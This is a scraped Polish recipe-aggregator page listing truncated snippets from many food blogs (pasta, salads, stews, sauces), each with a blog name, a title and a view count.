łyżeczkę masła.  5. Szczelnie zawiniętą w folię rybę piec na grillu przez około 25 minut. 6. Podawać z ulubionymi, prostymi dodatkami takimi jak pomidory, ogórki gruntowe, sałata z sosem miodowo musztardowym... Bieżniki / DUKA

Matka Żywicielka
Ryż z jabłkami i polewą z śmietany 92639

ryż do risotto 700 ml mleka sól szczypta 600 g jabłek (po obraniu) 1 łyżka masła 2 łyżki cukru 1 łyżeczka soku z cytryny 1 łyżeczka cynamonu Sos śmietankowy 150 ml kwaśnej śmietany 18% 2 łyżki cukru z prawdziwą wanilią 50 g cukru brązowego Przygotowanie:   Jabłka obrać z skórki i oczyścić z gniazd nasiennych. Zetrzeć na tarce na dużych

Ala piecze i gotuje
KOTLETY Z MAKRELI I ZIEMNIAKÓW. 267

naturalny stan, oczywiście wystudzone stwardnieją nieznacznie. Są delikatne i bardzo rybne. Można podać z surówką, ale również z puree z groszku bądź z hummusem. A nawet z białym sosem, pełna dowolność :) KOTLECIKI Z MAKRELI I ZIEMNIAKÓW. /znaleziony w sieci;/ na ok. 8 kotlecików 300g wędzonej makreli 250g ugotowanych i obranych ziemniaków 1 jajko 1 cebula sól, pieprz, słodka i ostra

W kuchni Karmel-itki
Domowa pomidorowa 320

niekiedy gotuję też z makaronem. W sezonie najlepiej zrobić ją z świeżych pomidorów a poza sezonem z passat czy przecierów pomidorowych. Przepis na sos z pomidorów idealny do zupy, znajdziecie tutaj . Post Domowa pomidorowa pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Tagliatelle z kurkami i camembert 230

drobną kostkę. Dodajemy umyte i osuszone kurki, skrapiamy sokiem z limonki i smażymy często mieszając, aż wyparuje z nich woda. Dolewamy śmietanę, posiekaną papryczkę chili i mieszamy, aż sos zgęstnieje, doprawiamy solą i pieprzem do smaku. Makaron gotujemy w lekko osolonej wodzie na al. dente. Ser camembert kroimy w kostkę, dodajemy do kurek, dokładamy odcedzony makaron i całość mieszamy

Moniki Smakołyki
Makaron ze szpinakiem i kurczakiem 610

cytryny ( smak bardzo poprawi ale kolor szpinak straci ;/ ), doprawiamy do smaku solą, pieprzem i gałką muszkatołową. Płatki migdałów prażymy na suchej patelni. Nakładamy na talerze makaron, polewamy sosem i całość posypujemy płatkami migdałów. Smacznego. The post Makaron ze szpinakiem i kurczakiem appeared first on zjem to blog kulinarny

zjem to blog kulinarny
Papryka. Jak upiec i łatwo obrać ze skórki ? 205

dość żmudne zajęcie. Ale na szczęście można ją upiec i w łatwy sposób tej skórki się pozbyć. Z takiej słodkiej papryki można przygotowywać różne dania - pastę , sałatkę, zupę , przekąski, sosy ... ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Tagliatelle ze szpinakiem i kurczakiem 384

Kolejne danie w całości przygotowane przez mojego Ukochanego. Jak widać, gustuje w mięsnych i szybkich potrawach :) Tagliatelle w sosie szpinakowo- śmietanowym z kurczakiem. Pycha! Składniki (3 porcje): makaron tagliatelle wedle uznania 250 g piersi z kurczaka 2 ząbki czosnku 200 g mrożonego szpinaku 1 łyżka oleju 1 cebula 100 ml śmietany kremówki świeżo starty parmezan sól, pieprz CZAS PRZYGOTOWANIA

My Culinary Art
Gulasz z łopatki wieprzowej z dynią, grzybami leśnymi i cukinią 269

minimum 1 i 1/2 godziny, najlepiej 2h. Na koniec, tuż przed podaniem doprawiamy jeszcze raz gulasz solą i pieprzem. Mięso powinno być kruche a cukinia tworzy gęsty i pożywny sos. Jest pysznie i aromatycznie. Podajemy z ryżem lub kaszą, z czym lubimy

Mango Papaja
Hamburgery według przepisu Magdy Gessler 783

porcji: 6 Składniki: Na hamburgera: 500g mielonej wołowiny 1 jajko 1 cebula 1 ząbek czosnku 1 świeża papryczka chili ½ łyżka kolendry ½ łyżka imbiru w proszku 4 łyżki oleju Odrobina sosu sojowego Gorczyca Pieprz Sól Dodatki: 6 bułek z sezamem 6 plasterków żółtego sera 3 ogórki konserwowe Pomidor Sałata Majonez, ketchup Wszystkie przyprawy umieszczamy w moździerzu i ucieramy na gładką masę

Kolizje Smaków
Ekspresowa sałatka z tuńczykiem 476

dente. Paprykę, ogórki i cebulę kroimy w kostkę. Koperek drobno siekamy. Tuńczyka odsączamy z zalewy i wszystkie składniki mieszamy razem . Z majonezu, jogurtu, musztardy i drobno posiekanego czosnku robimy sos. Doprawiamy solą i pieprzem. Zalewamy sałatkę, mieszamy. Gotowe

Czerwona Porzeczka
Paluszki serowe z kapary 192

Skręcamy maksymalnie temperaturę i przekładamy paluszki niżej (drugą stroną). Pozostawiamy na ok. 2 min do uzyskania złotawego koloru. Paluszki można podać z mięsem lub samym sosem np. salsą. Smacznego Rada : Ciasto francuskie powinno być mocno schłodzone. Można go samemu wcześniej zrobić  lub kupić gotowe, skraca to czas wykonania i takie paluszki można przygotować w każdej chwili. Takie

Moniki Smakołyki
Jajecznica ze świeżym szpinakiem 202

połączyć składniki . Gotowe , to jest mój sposób na jajecznicę ze szpinakiem, śniadanko super :) Szpinak najlepszy jest , gdy zjadamy go na surowo jak zieloną sałatę , kropimy go wówczas tylko sosem np. winegret

Proste Potrawy
Przecier z pomidorów 180

pokrywką i gotuję do otrzymania wpierw rzadkiej masy ( podglądać, by nie wykipiały ) Często mieszam i gotuję bez przykrycia do momentu, aż przecier uzyska gęstą konsystencję, ( lubi się przypalać !) Powstały sos przecieram przez sito, zagotowuję jeszcze raz (solę lekko ) i nalewam do czystych słoików. Od kiedy ma takie urządzenie jak poniżej sita już nie używam :) Gdy wlewam wrzący przecier to już

Proste Potrawy
Surówka z kalarepą 178

Już od dawna na ryneczku jest pełen wybór świeżych warzyw. Kuszą wszystkie ... Zakupiłam  min. marchew i kalarepkę.Wykorzystałam je do prostej do surówki . Na obiad , do pulpetów w sosie pomidorowym :) . Składniki : połowa dużej kalarepy 1 duża marchew 2 płaskie łyżki startego chrzanu ze słoiczka płaska łyżka majonezu, ewentualnie pół na pół z jogutrem cukier , pieprz mielony , szczypta soli

Proste Potrawy
Pasta jajeczno - serowa 390

oczkach Dodajmy do tego drobno pokrojoną rzodkiewkę oraz posiekane drobno jajka - wymieszajmy całość   2 - 3 łyżki majonezu utrzemy z łyżką jogurtu Całość posolić , dodać pieprzu i wymieszać z sosem majonezowo -jogurtowym Taką pastą posmarujmy sobie kromki chleba na  kolację lub śniadanie :) Taki zestaw możemy podać tez jako prostą i szybką sałatkę

Proste Potrawy
Filet z kurczaka w pesto 366

dostała go od znajomej...:) Składniki: 1 pierś z kurczaka 2- 3 łyżki przyprawa typu vegeta brokuł mała, młoda cukinia 10 dag pieczarek 1 spory por ( część biała ) 1 łyżka sosu pesto - gotowego ze słoiczka sól, pieprz makaron - ilość dowolna Wykonanie : Pierś z kurczaka umyć, pokroić w kostkę i zalać w miseczce z oliwą i vegetą - ma poleżeć około 1 godz

Proste Potrawy
Krucha sałata w jogurcie 195

sokiem z cytryny - wymieszać z jogurtem Dodać do tego DROBNO pokrojoną cebulkę , przyprawić do smaku solą, cukrem, pieprzem ewentualnie jeszcze sokiem cytrynowym Liście sałaty ułożyć w miseczce , polać przygotowanym sosem  Posypać natką, osączonymi  rodzynkami i od razu podawać . W ten sposób można podawać kapustę pekińską. Ta wersja z sałatą jest bardzo smaczna. Przepis pochodzi ze zbioru przepisów " Warzywa

Proste Potrawy
Gotujemy kaszę pęczak 235

zawinąć szczelnie w gruby ręcznik lub koc i odstawić jeszcze na co najmniej 30 min.  Po tym czasie spróbować czy dobra :) Do takiej kaszy dobre są bitki w sosie własnym, gulasz, ale podana tylko z samymi warzywami,  (lub z kruchą sałatą w jogurcie) też zaspokoi głód :) Ja uwielbiam ze skwareczkami z boczku... Wiem, że jest wiele sprawdzonych przepisów

Proste Potrawy
Sałatka z tuńczykiem 2 451

wersja bardzo uproszczona, ale BARDZO SZYBKA do wykonania, a równie smaczna jak ta z jajkami ( u mnie pod nazwą -" błyskawiczna sałatka z tuńczyka ") Składniki: 1 puszka tuńczyka w sosie własnym 1 puszka kukurydzy  1 cebula  2-3 łyżki majonezu ewentualnie pieprz i sól Przygotowanie: Tuńczyka wymieszać z olejem  Kukurydzę odsączyć na sicie lub ugotować mrożoną

Proste Potrawy
Szynka gotowana 325

potem wyjęłam je z worka Po pokrojeniu było miękkie, miało fajny smak W rękawie pozostał wywar z gotowania, jeśli mięso byłoby przeznaczone na obiad mogłabym zrobić z niego sos, ale przeznaczyłam je do chleba :) Po ugotowaniu moje mięso ważyło 60 dag Jeśli macie wątpliwości co do przyrządzenia tego mięsa proszę pytać.  Odpowiem jak je dokładnie robiłam. A na super

Proste Potrawy
Roladki z rukolą i żółtym serem 198

posmarowanej blaszce i piekłam około 30 min. w temp. 180 stopni C Pieczenie udaje się też w prodiżu.Świetnie pasują do czerwonego barszczu .   A i z sosem czosnkowym, pycha

Proste Potrawy
Jabłka pieczone z miodem i winem 210

całość podlewamy winem (jabłka powinny lekko w winie być zanurzone) Wkładamy do piekarnika nagrzanego do 180 stopni C. na około 35 min.,podlewając, kilka razy w trakcie pieczenia powstałym sosem. Podajemy na zimno lub na ciepło...pyszne:)  Można upiec w prodiżu (ale wtedy pieczemy o połowę mniej jabłek, w naczyniu żaroodpornym, które zmieści się w prodiżu), ja umieściłam

Proste Potrawy
Warzywa z makaronem 270

gotowałam około 10 min.) Cebulę po obraniu pokroić w pół krążki, obsmażyć na oleju ( na drugeiej patelni) i dodać do mieszanki Wymieszać, posolić, dodać pieprzu do smaku i wlać sos pomidorowy oraz pokrojone mięso z rosołu, jeśli takie akurat mamy Doprawić ziołami i jeszcze raz doprowadzić składniki do wrzenia  Takie warzywa można podawać z makaronem  lub ryżem

Proste Potrawy
Chrzan tarty 184

dodane parę łyżeczek chrzanu do utartego czerwonego buraka czynią go o wiele smaczniejszym, no i mamy ćwikłę :) Warto mając chrzan zrobić sobie błyskawiczny   sos chrzanowy

Proste Potrawy
Polenta na słodko 201

szczyptę soli i grzejemy chwilę,wyłączamy gaz by chwilę wszystko zmiękło, jeśli trzeba dodajemy do smaku soku z cytryny i miód Po 15 min. zagrzać wszystko ponownie (tylko chwilę), sosem polewamy kaszkę kukurydzianą. Dla mnie to danie było deserem

Proste Potrawy
Polenta - włoski kleik 221

kostkę i usmażyć na gorącym tłuszczu, posypać czerwonym pieprzem i parmezanem. Danie proste i dietetyczne :) Inspiracja :"Wysokie obcasy" Nr.5 (712) O tej porze roku może świetnie smakować z sosem owocowym np. jagodowym, wypróbuję na pewno

Proste Potrawy
Grzyby suszone 200

tegorocznego grzybobrania :)  Część grzybków została zamarynowana w occie , a nadmiar wysuszyłam.  Zostaną przechowane w szczelnych słojach, dołożę je do bigosu ,   zupy grzybowe j   lub sosu grzybowego

Proste Potrawy
Wege gulasz z ciecierzycą i cukinią 274

warzyw, doprawić solą, pieprzem- jeśli trzeba dodać odrobinę wody Wsypać miękką ciecierzycę, wymieszać, dodać koncentrat pomidorowy i doprawić do smaku cukrem, dodać zioła Przykryć pokrywką i gotować do zgęstnienia sosu, podawać z pieczywem. Przepis podpatrzony w miesięczniku "Przepis na zdrowie" ale z moimi modyfikacjami :) Smacznego

Proste Potrawy
Udka kurczaka w marynacie z miodem 398

nich później i szerzej :) Składniki : 7 udek 5 łyżek miodu świeży imbir około 4 cm- zetrzeć płaska łyżeczka cynamonu 1 gwiazdka anyżu - zmieliłam w młynku 2 łyżki sosu sojowego płaska łyżeczka pieprzu prawdziwego mielonego 2 łyżki musztardy Dijon 4 ząbki czosnku płaska łyżka soli i tyle samo słodkiej papryki olej, woda Przygotowanie: W około 3/4 szklance letniej wody rozpuścić miód

Proste Potrawy
Roladki z mięsa dzika 220

pyszne :)                A ja jak tylko będę mieć okazję - zrobię je sama.               Warto zrobić tez sos, przepis na jego przyrządzenie znajdziecie dalej. Składniki : szynka z dzika papryka konserwowa plastry wędzonego, gotowanego boczku tłuszcz do smażenia sól, pieprz, przyprawy do dziczyzny, liść laurowy, ziele angielski cebula, kwaśne

Proste Potrawy
Fasola z boczkiem 217

łyżka keczupu i tyle samo koncentratu pomidorowego sól, pieprz, oregano, majeranek, cukier Przygotowanie : Fasolę namoczyć na noc, potem ugotować według przepisu wcześniej zamieszczonego w przepisie   "czerwona fasola w sosie na ostro " Cebulę pokroić drobno, czosnek również i przesmażyć razem do momentu, aż cebula się "zeszkli " Do ugotowanej fasoli przełożyć cebulę z czosnkiem, dołożyć pomidory, keczup i koncentrat  Doprawić

Proste Potrawy
Paluszki schabowe z pieczarkami 243

gorącym tłuszczu, przekładamy do garnuszka z około 2 szklankami wrzątku Dokładamy pieczarki z cebulą- gotujemy nie dłużej jak 10-15 min. Kto lubi robi z maki zasmażkę na zagęszczenie sosu Doprawiamy do smaku solą, pieprzem, po zagotowaniu możemy dodać łyżkę lub dwie gęstej śmietany - mieszamy  Jest to danie proste. A podany schab z pieczarkami w cudowny sposób "rozmnoży się

Proste Potrawy
Kluski wstążki 181

wyrabiam dobrze rękoma Jeśli trzeba dodaję ciepłej wody , ale ostrożnie Dalej postepuję jak przy wyrabianiu makaronu domowego Tym razem makaron będzie szerszy- wstążki. Takie kluski  świetnie pasują do sosów pomidorowych czy  warzyw :) Zawsze można zrobić więcej i nadmiar ususzyć

Proste Potrawy
Boczek pieczony 248

przykryłam folią aluminiową, a po tym czasie jeszcze 20 min. w temp. 170 -180 stopni C.- folię zdjęłam. W trakcie pieczenia polałam mięso po wierzchu dwukrotnie wytworzonym sosem. Pierwszy raz przyrządziłam boczek z goździkami i muszę powiedzieć, że zapach goździków w tym mięsie bardzo nam pasował :) Żeby pieczeń była soczysta i smaczna mięso należy wyjąć z lodówki przynajmniej na godzinę

Proste Potrawy
Kotlety mięsno- pieczarkowe 218

środek masy mały kawałek żółtego sera, obtoczyć w bułce tartej i smażyć na gorącym tłuszczu Jeśli mamy więcej niż 30 dag pieczarek to możemy sobie zrobić dodatkowo do kotletów, sos pieczarkowy.  Myślę, że można byłoby dodać do kotletów pieczarki surowe, drobno pokrojone i wymieszać z mięsem. Na pewno usmażyłyby się razem z mięsem. Czas przygotowania kotletów byłby zatem krótszy

Proste Potrawy
Żeberka wieprzowe w miodzie 215

żeberek około 5 łyżek miodu 1 łyżka cynamonu, 2 gwiazdki potłuczonego anyżu, imbir mielony około płaskiej łyżki i świeży starty 1-2 cm sól, pieprz prawdziwy mielony sos sojowy 1 główka czosnku - obrać i zmiażdżyć Przygotowanie : Umyte żeberka osuszamy i przekładamy do miski Przyprawy oprócz soli mieszamy z miodem i czosnkiem, trzeba uzyskać tyle marynaty, by polać nią obficie mięso

Proste Potrawy
Domowe kostki mięsne 209

szynkę w przyprawie ziołowej , a w trakcie pieczenia wytworzył się esencjonalny sosik. Po wystudzeniu wlałam go do torebki na mrożenie kostek lodu. Przechowuję w zamrażalniku. Będę dodawać do zup, sosów, bigosu- zamiast kupnych kostek mięsnych. Pomysł znalazłam w książce J. Bator "Zamień chemię na jedzenie" Ona zaś na www.wielodzietni.org

Proste Potrawy
Świąteczne propozycje potraw 192

szybka sałatka z papryką czerwoną sałatka z szynką szwarcwaldzk ą sałatka z kurczakiem wędzonym sałatka z rukolą sałatka siódemka sałatka z gyrosem sałatka z mozarellą i oliwkami sałatka z sosem musztardowym sałatka z tuńczykiem 2 krucha sałatka w jogurcie sałatka kolorowa sałatka brokułowa ekspresowa tarty buraczek czerwony błyskawiczna sałatka z tuńczyka Inne zupa chrzanowa chrzan tarty w ytrawna ćwikła gotujemy

Proste Potrawy
Golonka w piwie 209

folią aluminiową, piekłam wpierw w piekarniku nagrzanym do 220 *C. przez 30 min. a potem prawie 1 i 1/2 godz.w temp. 200 *C W trakcie pieczenia mięsa, polewałam je sosem który się wytworzył, dolewałam też świeżego piwa, ponieważ płyn szybko parował. Moja golonka była dość ostra w smaku :) Świetnie smakowała z  chrzanem tartym własnej roboty. Golonka z ogóreczkiem kiszonym

Proste Potrawy
Grzyby duszone z masłem na zimę 218

grzybobraniu. Las nie był zbyt duży, to i nasze plony niezbyt obfite :( Ale to co zebrane nie zmarnowaliśmy, tylko przerobiliśmy :) Zakonserwowane w ten sposób służyć będą przygotowaniu szybkiego sosu lub zupy. W tamtym roku mroziłam ugotowane i odsączone grzyby. Teraz przygotowałam kilka słoiczków, które pasteryzowałam z tłuszczem, a te tradycyjne z octem zrobiłam również... Składniki : grzyby masło cebula

Proste Potrawy
Bliny z farszem 183

wyrobić ciasto. Z ciasta formować większe placki, kłaść na każdym łyżkę wybranego farszu, utoczyć kulę, następnie rozpłaszczyć w formie kotleta. Smażyć w rozgrzanym tłuszczu. Podawać z surówkami i sosem grzybowym lub śmietanowym

Praktyczna pl
Naleśniki z kremem budyniowym i czekoladą 360

pszennej i ziemniaczanej  ugotować budyń. Do gorącego budyniu dodawać porcjami  masło. Mieszać do połączenia składników. Na każdy naleśnik dać dużą łyżkę kremu, złożyć, oblać polewą lub gotowym sosem czekoladowym. Przykładowy przepis na polewę czekoladową: 1/2 kostki margaryny 7 łyżek cukru 2 łyżki kakao 2 łyżki wody kilka łyżek mleka Wszystkie składniki (oprócz mleka) ogrzewać na małym ogniu, cały

Praktyczna pl
Placki ziemniaczane z gulaszem 237

kostkę, pokrojone drobno pieczarki, przyprawić solą, pieprzem, obficie słodką papryką i wg upodobań ostrą. Dusić nadal, często mieszając. Gdy mięso jest już miękkie dolać wody – nie za dużo bo sos ma być gęsty. Przyprawić solą i Kucharkiem. Chwilę gotować, dodać trochę przecieru pomidorowego, zagotować i zagęścić mąką wymieszaną z zimną wodą.Usmażyć placki ziemniaczane. Kłaść na talerz placki, na każdy

Praktyczna pl
Kotlety mielone z pieczarkami 168

wymieszać. Formować najpierw płaskie placki, na środku każdego położyć łyżkę nadzienia z pieczarek, uformować kotleciki ( nie powinny być zbyt duże), obtoczyć w bułce tartej i usmażyć. Najlepiej smakują polane sosem mięsno-pieczarkowym

Praktyczna pl
Zapiekanka z pełnoziarnistego makaronu i warzyw 276

granulowany, Kucharek Makaron ugotować al dente, odcedzić. Mieszankę warzywną przesmażyć zgodnie z opisem na opakowaniu. Mąkę przesmażyć na oleju z cebulą, rozprowadzić mlekiem. Przyprawić Kucharkiem, pieprzem i czosnkiem. Powstały sos wymieszać z makaronem, warzywami i połową sera. Całość umieścić w naczyniu żaroodpornym. Roztrzepać jajka ze śmietaną i pozostałym serem, przyprawić solą i pieprzem, wylać na makaron. Naczynie włożyć do piekarnika

Praktyczna pl
Zupa ziemniaczana z koperkiem 449

koniec gotowania dodać pietruszkę i seler. Rozgrzać olej z cebulą, dodać mąkę, mieszając przesmażyć na jasno złoty kolor. Zasmażkę rozprowadzić wywarem z gotowania ziemniaków do konsystencji gęstego sosu. Dobrze wymieszać aby nie było grudek, następnie połączyć z zupą, wymieszać i zagotować. Odstawić z ognia, wrzucić posiekany koperek, zamieszać. Pozostawić pod przykrywką na kilka minut. Doprawić do smaku

Praktyczna pl
Gołąbki 365

garnka wyścielić wcześniej pozostałymi liśćmi kapusty. Ułożone gołąbki również przykryć liśćmi.Następnie zalać gołąbki bulionem, doprowadzić do wrzenia. Dusić pod przykryciem, na małym ogniu przez godzinę. Podawać polane sosem pomidorowym

Praktyczna pl
Ser żółty panierowany 193

następnie w bułce tartej i smażymy na rozgrzanym oleju...po usmażeniu kładziemy na chwilkę na ręczniku kuchennym w wiadomym celu (by usunąć nadmiar tłuszczu)  Podajemy z żurawiną lub sosem czosnkowym

NaKońcuJęzyka
1 dzień z Dietą 219

tylko ;) A oto moja propozycja na śniadanie: Sałatka z tuńczyka: 1 ogórek kwaszony 1/2 cebuli 1 łyżka kukurydzy 4 łyżki Twarożku o niskiej zawartości tł. 2 łyżki tuńczyka w sosie własnym  kilka oliwek czarnych 4jajka Wszystkie składniki warzywne i jajka kroimy drobno dodajemy kukurydze, twarożek i tuńczyka...ponieważ twarożek ma swoja zalewe nie dodawałam juz jogurtu naturalnego...doprawiamy

NaKońcuJęzyka
Gołąbki po tuningu ;) 172

strony...Zalewamy przecierem pomidorowym...i dusimy na bardzo małym ogniu przez okolo 30- 40 min. w razie konieczności podlewamy woda gdy część przecieru wyparuje...Po tym czasie wyjmujemy gołąbki...sos doprawiamy do smaku przyprawami... Smacznego!!! var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-44911160-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol

NaKońcuJęzyka
Tort naleśnikowy a' la lasagne 225

Szpinak rozmrażamy, odsączamy wodę...Dodajemy masło, czosnek i chwile podsmażamy... Z pomidorów usuwamy gniazda z nasionami...kroimy na drobne kawałki i miksujemy dodajemy przyprawy ja mam swoje ulubione do sosu pomidorowego tj, duuuuzo czosnku, bazylii, oregano, chilli...  Naleśniki przekładamy naprzemiennie szpinakiem, i mięsem...posypujemy startym serem i pieczemy około 30 min w 160st. Smacznegoooo!!! var _gaq = _gaq || []; _gaq.push(['_setAccount

NaKońcuJęzyka
Czy wiesz Którą użyć i do czego. 207

wypieku ciast drożdżowych, naleśnikowych oraz kopytek, knedli, klusek. Mąka typ - 650 , do wypieku bułek, wypieku pierników, miodowników i ciast ciemnych, robienia zasmażek, jako naturalny składnik zagęszczający do zup i sosów. Mąka typ - 1850 , mąka graham do wypieku pieczywa. Mąka typ - 2000 , mąka razowa do wypieku pieczywa

NaKońcuJęzyka
Roladki naleśnikowe 244

Spaghetti Bolognese  200 gram szpinaku u mnie mrożony 3 łyzki słonecznika 3 ząbki czosnku 1 łyżka oleju kilka plasterków sera żółtego startego lub bardzo drobno pokrojonego Na sos: 2 pomidory bazylia 2 ząbki czosnku Naleśniki wykonujemy również z podanego przepisu Pomidora kroimy w bardzo drobna kostkę wyjmując wcześniej gniazdo nasienne,  dodajemy do mięsa mielonego, dosypujemy przyprawę lub swoja

NaKońcuJęzyka
Kuleczki Henia 204

wlewamy olej, podgrzewamy i smażymy kuleczki... Po usmażeniu wykładamy kotleciki na ręcznik papierowy żeby odsączyć nadmiar tłuszczu. Moim zdaniem lepiej smakują na zimno niż na ciepło....Podaje ję z sosem czosnkowym

NaKońcuJęzyka
Diabelskie piersi Krystyny 224

łyżeczka kurkumy 1/2 łyżeczki kolendry 1/2 łyżeczki pieprzu kajeńskiego 1 łyżeczka pieprzu ziarnistego 3 łyżki wody 2 piersi z kurczaka 1 szklanka jogurtu 9% tłuszczu ewentualnie śmietana 2 łyżki sosu słodko- kwaśnego 150 gram makaronu bucatini lub spaghetti 650 ml. bulionu 2 łyżki oleju 4 ząbki czosnku Wszystkie składnik na marynatę mieszamy razem, dodajemy do niej pokrojona w plasterki pierś

NaKońcuJęzyka
Babka ziemniaczana ze szpinakiem 230

adamy do większego naczynia wypełnionego wodą i pieczemy w piekarniku 80 min. W tem 190st. Podajemy jako dodatek do mięs lu z sosem np.koperkowym... Smacznego

NaKońcuJęzyka
Świątynie Świata- Orientalne Centrum Zdrowego Ciała SPA Lublin 203

piękne zapachy sprawiają, że nie można się jej oprzeć  Kuchnia indyjska, tajska, marokańska, japońska, chińska, wietnamska chyba nikogo nie trzeba do niej przekonywać... Curry, trawa cytrynowa, mleko kokosowe, sos sojowy; rybny,  wasabi  to tylko nieliczne, ale najbardziej charakterystyczne składniki tworzące kuchnie orientalne. Z myślą o tych wszystkich z Was, którzy zakochali się w oriencie lub marzą poznać

NaKońcuJęzyka
Prześwietlamy- Majonez Stołowy Firma Roleski 221

Zacznijmy od samej Firmy Roleski, jeden z liderów na rynku tzw. przypraw mokrych. Firma specjalizuje się w produkcji sosów, keczupów,koncentratów, musztard, dressingów i majonezu... Wśród dość pokaźnej gamy produktów Firma Roleski  zawiera produkty bezglutenowe, nie ma większego problemu z zakupem produktów tej firmy, są one ogólnodostępne nie wiem jak to wygląda w Polsce natomiast w Warszawie nie spotkałam

NaKońcuJęzyka
Rosti- placek z serem i cebulą 233

czosnek, ser oraz pietruszkę. Doprawiamy do smaku przyprawami. Formujemy dość płaskie placuszki. 3. Na rozgrzanej patelni smażymy placki z dodatkiem oliwy około 5min. na zloty kolor. Wyśmienicie smakują z sosem czosnkowym, pomidorowym lub z sałatą doprawioną winegretem

NaKońcuJęzyka
Kopytka bez glutenu 205

dawna nie jadłam a miałam wielką ochotę, a że nie jest to danie które długo sie robi wić w sam raz na szybki obiadek...Idealnie pasuje z sosem pieczarkowym i kiszona kapustą tak jak to mamusia robiła.. ;) U mnie z racji diety kopytka w wersji bezglutenowej... Składniki: 1 kg ziemniaków, ugotowanych sól, pieprz 1 szklanka mąki ziemniaczanej pół szklanki

NaKońcuJęzyka
Sałatka z tuńczykiem 420

pośpiechu przed pracą małe śniadanko: sałatka z tuńczykiem i obowiązkowa kawka, bez której życia sobie nie wyobrażam... Składniki: sałata lodowa jajko tuńczyk w oleju por pomidor oliwki ser żółty sos jogurtowy: 3 łyżki jogurtu naturalego ząbek czosnku  sól i pieprz

NaKońcuJęzyka
Pieczone Ziemniaczki 222

przez 30 min w temp 200 stopni następnie 35 min w temp. 160-180 stopni i 20 minut znowu w temp. 200 stopni... My uwielbiamy mocno spieczone podane z sosem czosnkowym przepis znajdziecie  TU  oraz sałatą z dużą ilością winegretu.. Smacznego

NaKońcuJęzyka
Fasolka po bretońsku 276

przyprawa typu warzywko Fasolkę moczymy w wodzie przez 12 godzin. Następnie nalewamy wodę do garnka i gotujemy w niej fasolkę z przyprawą typu warzywko. Na patelni podsmażamy kiełbasę dolewamy sos pomidorowy i odsączoną z wody fasolkę. Smażymy około 15 min pod przykryciem na średnim ogniu

NaKońcuJęzyka
Babeczki z kaszy jaglanej ( wytrawnie) 215

Kaszę przekładamy do blendera i chwile miksujemy, dodajemy jajko, ser żółty oraz warzywa mieszamy i przekładamy do foremek. Pieczemy około 15 minut w tem. 200 stopni Najlepiej smakują z sosem czosnkowym

NaKońcuJęzyka
Jak zrobić domowy makaron? 334

lepszego niż domowy makaron podany do rosołu, czy też zupy pomidorowej. Czasami do rosołu przygotowuję kluseczki. albo lane kluski Przepis na kluseczki do zup i sosów. – 1 szklanka mąki pszennej – 1 jajko – szczypta soli – 2 łyżki przegotowanej gorącej wody mąka do podsypywania Mąkę mieszamy z solą i przesiewamy na stolnicę lub wsypujemy do misy robota, jeśli

Damsko-męskie spojrzenie na kuchnię
Pesto bazyliowe według metody włoskich babć 234

robocie kuchennym; nie jest to metoda wykorzystywana w tradycyjnych włoskich domach. Słowo " pesto " wywodzi się z genueńskiego " pestâ " (po włosku: pestare ) oznaczającego "zmiażdżyć, zgnieść", a pierwsze wersje tego sosu były przygotowywane w marmurowym moździerzu z drewnianym tłuczkiem.  Inny stosowany przez Włochów sposób, o którym przeczytałam niedawno na tym blogu , zakłada siekanie składników ostrym nożem albo specjalnym narzędziem o nazwie

Chilli Czosnek i Oliwa
Chyba winna Wam jestem podsumowanie... z jajem? 247

papryce  (Jagodziana Coffee) Grzanka z awokado z przepiórczym jajkiem sadzonym  (definicja smaku) Kanapka z mozzarellą, jajkiem sadzonym, groszkiem i oscypkiem  (Kropla Oliwy) Shakshuka- jajka w pikantnym sosie pomidorowym  (Silver Teaspoon) Jajecznica raz, dwa...: Jajecznica z kurkami  (Jemy Pijemy) Kurka i jajka czyli jajecznica w wersji dietetycznej  (Zaklęcie na szczęście) Różowa jajecznica z malinami

bastalena
Tarta bolognese 251

układamy plasterki pomidora i posypujemy resztą parmezanu. Wkładamy do piekarnika i pieczemy 30 minut z termoobiegiem. Wyciągamy i odstawiamy na 5 minut. Możemy podać z ketchupem lub innym ulubionym sosem. Smacznego

My Culinary Art
Tagliatelle z fetą i szpinakiem 199

momentu utworzenia jednolitej masy. 4. Dodajemy ser pleśniowy i mieszamy do rozpuszczenia. 5. W międzyczasie gotujemy makaron i gotowe :) Kaloryczność: całość (z makaronem) - ok. 490 kcal sam sos - ok. 275 kcal Smacznego! :) (adsbygoogle = window.adsbygoogle || []).push

Malowane smakiem
Pizzerinki 317

świeżych drożdży 2 szklanki mąki pszennej 3/4 szklanki ciepłej wody 1 łyżeczka cukru 2 łyżki oliwy z oliwek 1/2 łyżeczki soli 2 łyżki kaszy mannej Dodatki: 6 łyżeczek sosu pomidorowego lub ketchupu 12 plasterków salami 12 sztuk oliwek zielonych 12 sztuk pomidorów suszonych 12 łyżeczek kukurydzy konserwowej 12 łyżeczek startego żółtego sera Przepis: Drożdże ucieramy z cukrem i dodajemy ciepłą

Emcia Pichci
Uzupełnione smaczki ( faszerowane papryki i cukinia ) 208

przyszło co do czego to napadło mnie lenistwo. Wyciągnęłam największy gar i ułożyłam i papryki i cukinie razem- w końcu duszą się tyle samo. Jak już były gotowe doprawiłam sos i dopiero okazało się , że jest super - o wiele smaczniejszy niż osobno z papryk i cukinii. Na pewno będę ten pomysł w sezonie wykorzystywać. Polecam. Czytaj więcej

Buniabaje w kuchni
13 pomysłów na dania z brokułami i kalafiorem 1641

brokułami, czosnkiem i szczypiorkiem Pełnoziarniste rigatoni z kurczakiem i chrupiącymi warzywami z natką pietruszki Sałatka z kaszy gryczanej z kukurydzą i kalafiorem Tagliatelle z mieloną wieprzowiną i brokułami w sosie z serem pecorino Tarta z cukinią, brokułami i sezamem Zielone babeczki z pecorino

Moja smaczna kuchnia
BURGERY BURACZANE. 231

szklanki ugotowanej kaszy jaglanej 100g sezamu 1 posiekana czerwona cebula 1/2 szklanka bułki tartej 1/3 szklanki oleju 3-4 łyżki mąki ziemniaczanej posiekany pęczek koperku 2 ząbki czosnku pieprz sos sojowy Sezam prażę na suchej patelni, aż się zarumieni. Wszystkie składniki mieszam ze sobą tak, aby masa miała klejącą konsystencję i po ulepieniu kotlecików, by się nie rozpadały. Jeśli trzeba

W kuchni Karmel-itki
Zielona surówka 175

